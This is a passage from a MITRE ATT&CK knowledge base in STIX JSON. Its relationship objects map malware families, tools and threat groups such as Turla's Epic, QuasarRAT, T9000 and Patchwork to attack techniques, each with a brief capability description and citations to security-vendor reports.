            "target_ref": "attack-pattern--8d7bd4f5-3a89-4453-9c82-2c8894d5655e",
            "type": "relationship",
            "modified": "2020-03-20T00:00:19.229Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--9c4bbad5-4821-4059-b881-557c2a6db1a0",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Volgmer](https://attack.mitre.org/software/S0180) can gather the IP address from the victim's machine.(Citation: Symantec Volgmer Aug 2014)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Symantec Volgmer Aug 2014",
                    "description": "Yagi, J. (2014, August 24). Trojan.Volgmer. Retrieved July 16, 2018.",
                    "url": "https://www.symantec.com/security-center/writeup/2014-081811-3237-99?tabid=2"
                }
            ],
            "source_ref": "malware--495b6cdb-7b5a-4fbc-8d33-e7ef68806d08",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0",
            "type": "relationship",
            "modified": "2019-10-15T22:51:02.962Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--062b1f19-2afb-4bdc-908e-99594ff114cf",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Epic](https://attack.mitre.org/software/S0091) uses HTTP and HTTPS for C2 communications.(Citation: Kaspersky Turla)(Citation: Kaspersky Turla Aug 2014)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://securelist.com/the-epic-turla-operation/65545/",
                    "description": "Kaspersky Lab's Global Research and Analysis Team. (2014, August 7). The Epic Turla Operation: Solving some of the mysteries of Snake/Uroburos. Retrieved December 11, 2014.",
                    "source_name": "Kaspersky Turla"
                },
                {
                    "description": "Kaspersky Lab's Global Research & Analysis Team. (2014, August 06). The Epic Turla Operation: Solving some of the mysteries of Snake/Uroboros. Retrieved November 7, 2018.",
                    "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08080105/KL_Epic_Turla_Technical_Appendix_20140806.pdf",
                    "source_name": "Kaspersky Turla Aug 2014"
                }
            ],
            "source_ref": "malware--6b62e336-176f-417b-856a-8552dd8c44e1",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161",
            "type": "relationship",
            "modified": "2020-03-17T01:07:24.410Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "description": "Grunzweig, J., Lee, B. (2018, September 27). New KONNI Malware attacking Eurasia and Southeast Asia. Retrieved November 5, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/09/unit42-new-konni-malware-attacking-eurasia-southeast-asia/",
                    "source_name": "Unit 42 NOKKI Sept 2018"
                }
            ],
            "description": "[NOKKI](https://attack.mitre.org/software/S0353) can collect the current timestamp of the victim's machine.(Citation: Unit 42 NOKKI Sept 2018)",
            "id": "relationship--4d9b9464-1ade-45e9-9d7b-1c4c967abd81",
            "source_ref": "malware--071d5d65-83ec-4a55-acfa-be7d5f28ba9a",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--f3c544dc-673c-4ef3-accb-53229f1ae077",
            "type": "relationship",
            "modified": "2020-03-17T01:58:31.552Z",
            "created": "2019-01-30T19:50:46.733Z"
        },
        {
            "id": "relationship--47880b58-f0e2-4898-a218-6df6333329ed",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Gold Dragon](https://attack.mitre.org/software/S0249) can download additional components from the C2 server.(Citation: McAfee Gold Dragon)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/gold-dragon-widens-olympics-malware-attacks-gains-permanent-presence-on-victims-systems/",
                    "description": "Sherstobitoff, R., Saavedra-Morales, J. (2018, February 02). Gold Dragon Widens Olympics Malware Attacks, Gains Permanent Presence on Victims\u2019 Systems. Retrieved June 6, 2018.",
                    "source_name": "McAfee Gold Dragon"
                }
            ],
            "source_ref": "malware--b9799466-9dd7-4098-b2d6-f999ce50b9a8",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add",
            "type": "relationship",
            "modified": "2020-04-21T23:09:31.026Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--53e09f15-3162-4480-8eb4-709e9c18d7fb",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[QuasarRAT](https://attack.mitre.org/software/S0262) has a command to edit the Registry on the victim\u2019s machine.(Citation: GitHub QuasarRAT)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://github.com/quasar/QuasarRAT",
                    "description": "MaxXor. (n.d.). QuasarRAT. Retrieved July 10, 2018.",
                    "source_name": "GitHub QuasarRAT"
                }
            ],
            "source_ref": "tool--da04ac30-27da-4959-a67d-450ce47d9470",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4",
            "type": "relationship",
            "modified": "2019-06-24T19:05:41.560Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--40082714-cb19-482f-9b6d-22031ef39926",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Patchwork](https://attack.mitre.org/groups/G0040) copied all targeted files to a directory called index that was eventually uploaded to the C&C server.(Citation: TrendMicro Patchwork Dec 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf",
                    "description": "Lunghi, D., et al. (2017, December). Untangling the Patchwork Cyberespionage Group. Retrieved July 10, 2018.",
                    "source_name": "TrendMicro Patchwork Dec 2017"
                }
            ],
            "source_ref": "intrusion-set--17862c7d-9e60-48a0-b48e-da4dc4c3f6b0",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--1c34f7aa-9341-4a48-bfab-af22e51aca6c",
            "type": "relationship",
            "modified": "2020-03-17T14:24:50.189Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--8447c89e-a743-430e-8ef5-41abfcde1a01",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "Malware used by [Group5](https://attack.mitre.org/groups/G0043) is capable of capturing keystrokes.(Citation: Citizen Lab Group5)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Citizen Lab Group5",
                    "description": "Scott-Railton, J., et al. (2016, August 2). Group5: Syria and the Iranian Connection. Retrieved September 26, 2016.",
                    "url": "https://citizenlab.ca/2016/08/group5-syria/"
                }
            ],
            "source_ref": "intrusion-set--7331c66a-5601-4d3f-acf6-ad9e3035eb40",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4",
            "type": "relationship",
            "modified": "2020-03-16T20:08:27.319Z",
            "created": "2017-05-31T21:33:27.078Z"
        },
        {
            "id": "relationship--b7226792-d4ae-472c-a407-853d56fc887d",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[NDiskMonitor](https://attack.mitre.org/software/S0272) can obtain a list of all files and directories as well as logical drives.(Citation: TrendMicro Patchwork Dec 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "TrendMicro Patchwork Dec 2017",
                    "description": "Lunghi, D., et al. (2017, December). Untangling the Patchwork Cyberespionage Group. Retrieved July 10, 2018.",
                    "url": "https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf"
                }
            ],
            "source_ref": "malware--d1183cb9-258e-4f2f-8415-50ac8252c49e",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18",
            "type": "relationship",
            "modified": "2020-03-21T00:07:11.889Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--e5a2a20c-1ef7-49a9-a9fa-2b89231793b8",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[T9000](https://attack.mitre.org/software/S0098) uses the Skype API to record audio and video calls. It writes encrypted data to <code>%APPDATA%\\Intel\\Skype</code>.(Citation: Palo Alto T9000 Feb 2016)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Palo Alto T9000 Feb 2016",
                    "description": "Grunzweig, J. and Miller-Osborn, J.. (2016, February 4). T9000: Advanced Modular Backdoor Uses Complex Anti-Analysis Techniques. Retrieved April 15, 2016.",
                    "url": "http://researchcenter.paloaltonetworks.com/2016/02/t9000-advanced-modular-backdoor-uses-complex-anti-analysis-techniques/"
                }
            ],
            "source_ref": "malware--876f6a77-fbc5-4e13-ab1a-5611986730a3",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--6faf650d-bf31-4eb4-802d-1000cf38efaf",
            "type": "relationship",
            "modified": "2020-03-30T03:07:37.853Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--f88fcb22-698b-4901-b894-a597192c2ba3",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "A [Threat Group-3390](https://attack.mitre.org/groups/G0027) tool can create a new Registry key under <code>HKEY_CURRENT_USER\\Software\\Classes\\</code>.(Citation: Nccgroup Emissary Panda May 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://research.nccgroup.com/2018/05/18/emissary-panda-a-potential-new-malicious-tool/",
                    "description": "Pantazopoulos, N., Henry T. (2018, May 18). Emissary Panda \u2013 A potential new malicious tool. Retrieved June 25, 2018.",
                    "source_name": "Nccgroup Emissary Panda May 2018"
                }
            ],
            "source_ref": "intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4",
            "type": "relationship",
            "modified": "2021-03-29T19:43:26.822Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--fb3b8f32-0991-4d05-a80d-a4736372ad2a",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Janicab](https://attack.mitre.org/software/S0163) used a valid AppleDeveloperID to sign the code to get past security restrictions.(Citation: Janicab)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Janicab",
                    "description": "Thomas. (2013, July 15). New signed malware called Janicab. Retrieved July 17, 2017.",
                    "url": "http://www.thesafemac.com/new-signed-malware-called-janicab/"
                }
            ],
            "source_ref": "malware--234e7770-99b0-4f65-b983-d3230f76a60b",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--32901740-b42c-4fdd-bc02-345b5dc57082",
            "type": "relationship",
            "modified": "2020-03-19T17:57:25.321Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--578a4fd8-7c24-44b2-a7c3-1a47786d3c9a",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[OopsIE](https://attack.mitre.org/software/S0264) encodes data in hexadecimal format over the C2 channel.(Citation: Unit 42 OopsIE! Feb 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Unit 42 OopsIE! Feb 2018",
                    "description": "Lee, B., Falcone, R. (2018, February 23). OopsIE! OilRig Uses ThreeDollars to Deliver New Trojan. Retrieved July 16, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/02/unit42-oopsie-oilrig-uses-threedollars-deliver-new-trojan/"
                }
            ],
            "source_ref": "malware--8e101fdd-9f7f-4916-bb04-6bd9e94c129c",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--04fd5427-79c7-44ea-ae13-11b24778ff1c",
            "type": "relationship",
            "modified": "2020-03-20T18:23:46.345Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--c07df1c1-3ae1-4974-af37-9c1b04cef14a",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Comnie](https://attack.mitre.org/software/S0244) uses Rundll32 to load a malicious DLL.(Citation: Palo Alto Comnie)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Palo Alto Comnie",
                    "description": "Grunzweig, J. (2018, January 31). Comnie Continues to Target Organizations in East Asia. Retrieved June 7, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/01/unit42-comnie-continues-target-organizations-east-asia/"
                }
            ],
            "source_ref": "malware--f4c80d39-ce10-4f74-9b50-a7e3f5df1f2e",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--045d0922-2310-4e60-b5e4-3302302cb3c5",
            "type": "relationship",
            "modified": "2020-03-17T00:43:32.014Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--d0b2e189-e764-44ec-9373-2f23212f6a45",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[RawPOS](https://attack.mitre.org/software/S0169) installs itself as a service to maintain persistence.(Citation: Kroll RawPOS Jan 2017)(Citation: TrendMicro RawPOS April 2015)(Citation: Mandiant FIN5 GrrCON Oct 2016)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.kroll.com/en/insights/publications/malware-analysis-report-rawpos-malware",
                    "description": "Nesbit, B. and Ackerman, D. (2017, January). Malware Analysis Report - RawPOS Malware: Deconstructing an Intruder\u2019s Toolkit. Retrieved October 4, 2017.",
                    "source_name": "Kroll RawPOS Jan 2017"
                },
                {
                    "url": "http://sjc1-te-ftp.trendmicro.com/images/tex/pdf/RawPOS%20Technical%20Brief.pdf",
                    "description": "TrendLabs Security Intelligence Blog. (2015, April). RawPOS Technical Brief. Retrieved October 4, 2017.",
                    "source_name": "TrendMicro RawPOS April 2015"
                },
                {
                    "url": "https://www.youtube.com/watch?v=fevGZs0EQu8",
                    "description": "Bromiley, M. and Lewis, P. (2016, October 7). Attacking the Hospitality and Gaming Industries: Tracking an Attacker Around the World in 7 Years. Retrieved October 6, 2017.",
                    "source_name": "Mandiant FIN5 GrrCON Oct 2016"
                }
            ],
            "source_ref": "malware--9752aef4-a1f3-4328-929f-b64eb0536090",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32",
            "type": "relationship",
            "modified": "2019-10-30T12:48:40.421Z",
            "created": "2018-01-16T16:13:52.465Z"
        },
        {
            "id": "relationship--2ed969c0-be8f-43d1-8226-1009faefaa20",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[UPPERCUT](https://attack.mitre.org/software/S0275) has the capability to collect the current logged on user\u2019s username from a machine.(Citation: FireEye APT10 Sept 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "FireEye APT10 Sept 2018",
                    "description": "Matsuda, A., Muhammad I. (2018, September 13). APT10 Targeting Japanese Corporations Using Updated TTPs. Retrieved September 17, 2018.",
                    "url": "https://www.fireeye.com/blog/threat-research/2018/09/apt10-targeting-japanese-corporations-using-updated-ttps.html"
                }
            ],
            "source_ref": "malware--fb4e3792-e915-4fdd-a9cd-92dfa2ace7aa",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104",
            "type": "relationship",
            "modified": "2020-03-17T02:46:42.684Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--84eee49c-e49a-40d1-bdc1-89c613636ef9",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--4a2ce82e-1a74-468a-a6fb-bbead541383c",
            "relationship_type": "uses",
            "target_ref": "malware--4189a679-72ed-4a89-a57c-7f689712ecf8",
            "external_references": [
                {
                    "source_name": "FireEye APT37 Feb 2018",
                    "description": "FireEye. (2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. Retrieved March 1, 2018.",
                    "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf"
                }
            ],
            "description": "(Citation: FireEye APT37 Feb 2018)",
            "type": "relationship",
            "modified": "2019-09-09T19:12:32.917Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--0c225034-209b-4ea5-b311-65ee9e82f8fe",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[QUADAGENT](https://attack.mitre.org/software/S0269) uses HTTPS and HTTP for C2 communications.(Citation: Unit 42 QUADAGENT July 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Unit 42 QUADAGENT July 2018",
                    "description": "Lee, B., Falcone, R. (2018, July 25). OilRig Targets Technology Service Provider and Government Agency with QUADAGENT. Retrieved August 9, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/07/unit42-oilrig-targets-technology-service-provider-government-agency-quadagent/"
                }
            ],
            "source_ref": "malware--7e6c2a9d-9dc1-4eb0-b27c-91e8076a9d77",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161",
            "type": "relationship",
            "modified": "2020-03-17T02:18:35.424Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--19fce62c-ba70-4c20-bf74-0bca7886190c",
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            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--6a2e693f-24e5-451a-9f88-b36a108e5662",
            "relationship_type": "uses",
            "target_ref": "malware--b8eb28e4-48a6-40ae-951a-328714f75eda",
            "external_references": [
                {
                    "source_name": "Mandiant APT1",
                    "description": "Mandiant. (n.d.). APT1 Exposing One of China\u2019s Cyber Espionage Units. Retrieved July 18, 2016.",
                    "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf"
                }
            ],
            "description": "(Citation: Mandiant APT1)",
            "type": "relationship",
            "modified": "2019-08-20T13:08:13.451Z",
            "created": "2017-05-31T21:33:27.036Z"
        },
        {
            "id": "relationship--e898c937-29b0-4e30-aeed-017ac3bbc3ed",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Proton](https://attack.mitre.org/software/S0279) zips up files before exfiltrating them.(Citation: objsee mac malware 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://objective-see.com/blog/blog_0x25.html",
                    "description": "Patrick Wardle. (n.d.). Mac Malware of 2017. Retrieved September 21, 2018.",
                    "source_name": "objsee mac malware 2017"
                }
            ],
            "source_ref": "malware--c541efb4-e7b1-4ad6-9da8-b4e113f5dd42",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--53ac20cd-aca3-406e-9aa0-9fc7fdc60a5a",
            "type": "relationship",
            "modified": "2020-03-30T02:40:31.048Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--eb3a838e-f6dd-4e9b-8edf-fc652adde117",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Pupy](https://attack.mitre.org/software/S0192) has a built-in utility command for <code>netstat</code>, can do net session through PowerView, and has an interactive shell which can be used to discover additional information.(Citation: GitHub Pupy)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://github.com/n1nj4sec/pupy",
                    "description": "Nicolas Verdier. (n.d.). Retrieved January 29, 2018.",
                    "source_name": "GitHub Pupy"
                }
            ],
            "source_ref": "tool--cb69b20d-56d0-41ab-8440-4a4b251614d4",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475",
            "type": "relationship",
            "modified": "2019-04-24T17:52:47.937Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--dd89d8a2-257a-47f9-8b55-8011ca53007b",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[T9000](https://attack.mitre.org/software/S0098) can take screenshots of the desktop and target application windows, saving them to user directories as one byte XOR encrypted .dat files.(Citation: Palo Alto T9000 Feb 2016)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Palo Alto T9000 Feb 2016",
                    "description": "Grunzweig, J. and Miller-Osborn, J.. (2016, February 4). T9000: Advanced Modular Backdoor Uses Complex Anti-Analysis Techniques. Retrieved April 15, 2016.",
                    "url": "http://researchcenter.paloaltonetworks.com/2016/02/t9000-advanced-modular-backdoor-uses-complex-anti-analysis-techniques/"
                }
            ],
            "source_ref": "malware--876f6a77-fbc5-4e13-ab1a-5611986730a3",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688",
            "type": "relationship",
            "modified": "2020-03-30T03:07:37.852Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--71416f0d-b037-48b2-a14d-acb1a5f3a4a4",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--fe98767f-9df8-42b9-83c9-004b1dec8647",
            "relationship_type": "uses",
            "target_ref": "malware--251fbae2-78f6-4de7-84f6-194c727a64ad",
            "external_references": [
                {
                    "url": "https://www.fireeye.com/blog/threat-research/2014/07/spy-of-the-tiger.html",
                    "description": "Villeneuve, N., Homan, J. (2014, July 31). Spy of the Tiger. Retrieved September 29, 2015.",
                    "source_name": "Villeneuve 2014"
                }
            ],
            "description": "(Citation: Villeneuve 2014)",
            "type": "relationship",
            "modified": "2019-03-25T16:51:54.146Z",
            "created": "2017-05-31T21:33:27.046Z"
        },
        {
            "id": "relationship--5ddcecdb-9e54-4e8e-b67b-64d24ec3264a",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Koadic](https://attack.mitre.org/software/S0250) can use WMI to execute commands.(Citation: Github Koadic)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Github Koadic",
                    "description": "Magius, J., et al. (2017, July 19). Koadic. Retrieved June 18, 2018.",
                    "url": "https://github.com/zerosum0x0/koadic"
                }
            ],
            "source_ref": "tool--c8655260-9f4b-44e3-85e1-6538a5f6e4f4",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055",
            "type": "relationship",
            "modified": "2020-03-16T16:55:03.567Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--44b56e08-7cd1-442c-8806-c69bb65fd231",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[ROCKBOOT](https://attack.mitre.org/software/S0112) is a Master Boot Record (MBR) bootkit that uses the MBR to establish persistence.(Citation: FireEye Bootkits)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.fireeye.com/blog/threat-research/2015/12/fin1-targets-boot-record.html",
                    "description": "Andonov, D., et al. (2015, December 7). Thriving Beyond The Operating System: Financial Threat Group Targets Volume Boot Record. Retrieved May 13, 2016.",
                    "source_name": "FireEye Bootkits"
                }
            ],
            "source_ref": "malware--cba78a1c-186f-4112-9e6a-be1839f030f7",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--1b7b1806-7746-41a1-a35d-e48dae25ddba",
            "type": "relationship",
            "modified": "2019-12-20T14:33:03.526Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--4ee54acd-fc04-43c2-8cf6-2200a802d0b9",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Remsec](https://attack.mitre.org/software/S0125) is capable of using ICMP, TCP, and UDP for C2.(Citation: Symantec Remsec IOCs)(Citation: Kaspersky ProjectSauron Full Report)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Symantec Remsec IOCs",
                    "description": "Symantec Security Response. (2016, August 8). Backdoor.Remsec indicators of compromise. Retrieved August 17, 2016.",
                    "url": "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/Symantec_Remsec_IOCs.pdf"
                },
                {
                    "source_name": "Kaspersky ProjectSauron Full Report",
                    "description": "Kaspersky Lab's Global Research & Analysis Team. (2016, August 9). The ProjectSauron APT. Retrieved August 17, 2016.",
                    "url": "https://securelist.com/files/2016/07/The-ProjectSauron-APT_research_KL.pdf"
                }
            ],
            "source_ref": "malware--69d6f4a9-fcf0-4f51-bca7-597c51ad0bb8",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--c21d5a77-d422-4a69-acd7-2c53c1faa34b",
            "type": "relationship",
            "modified": "2020-03-11T17:45:33.721Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--16fd44bf-405b-49c1-96d7-0cacb5d65e74",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--8f5e8dc7-739d-4f5e-a8a1-a66e004d7063",
            "relationship_type": "uses",
            "target_ref": "malware--fde50aaa-f5de-4cb8-989a-babb57d6a704",
            "external_references": [
                {
                    "source_name": "Cylance Cleaver",
                    "description": "Cylance. (2014, December). Operation Cleaver. Retrieved September 14, 2017.",
                    "url": "https://web.archive.org/web/20200302085133/https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf"
                }
            ],
            "description": "(Citation: Cylance Cleaver)",
            "type": "relationship",
            "modified": "2021-04-21T16:41:34.707Z",
            "created": "2017-05-31T21:33:27.032Z"
        },
        {
            "id": "relationship--980e4dca-4d6b-4206-9c51-bff32c72a961",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[nbtstat](https://attack.mitre.org/software/S0102) can be used to discover current NetBIOS sessions.",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "type": "relationship",
            "modified": "2018-10-17T00:14:20.652Z",
            "created": "2017-12-14T16:46:06.044Z",
            "source_ref": "tool--b35068ec-107a-4266-bda8-eb7036267aea",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475"
        },
        {
            "id": "relationship--73da57b5-e64f-44ee-85f7-d294c21fb534",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Stealth Falcon](https://attack.mitre.org/groups/G0038) malware encrypts C2 traffic using RC4 with a hard-coded key.(Citation: Citizen Lab Stealth Falcon May 2016)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Citizen Lab Stealth Falcon May 2016",
                    "description": "Marczak, B. and Scott-Railton, J.. (2016, May 29). Keep Calm and (Don\u2019t) Enable Macros: A New Threat Actor Targets UAE Dissidents. Retrieved June 8, 2016.",
                    "url": "https://citizenlab.org/2016/05/stealth-falcon/"
                }
            ],
            "source_ref": "intrusion-set--894aab42-3371-47b1-8859-a4a074c804c8",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41",
            "type": "relationship",
            "modified": "2020-03-21T00:37:00.414Z",
            "created": "2017-05-31T21:33:27.073Z"
        },
        {
            "id": "relationship--62507790-a137-409e-a655-9190ff78cb52",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
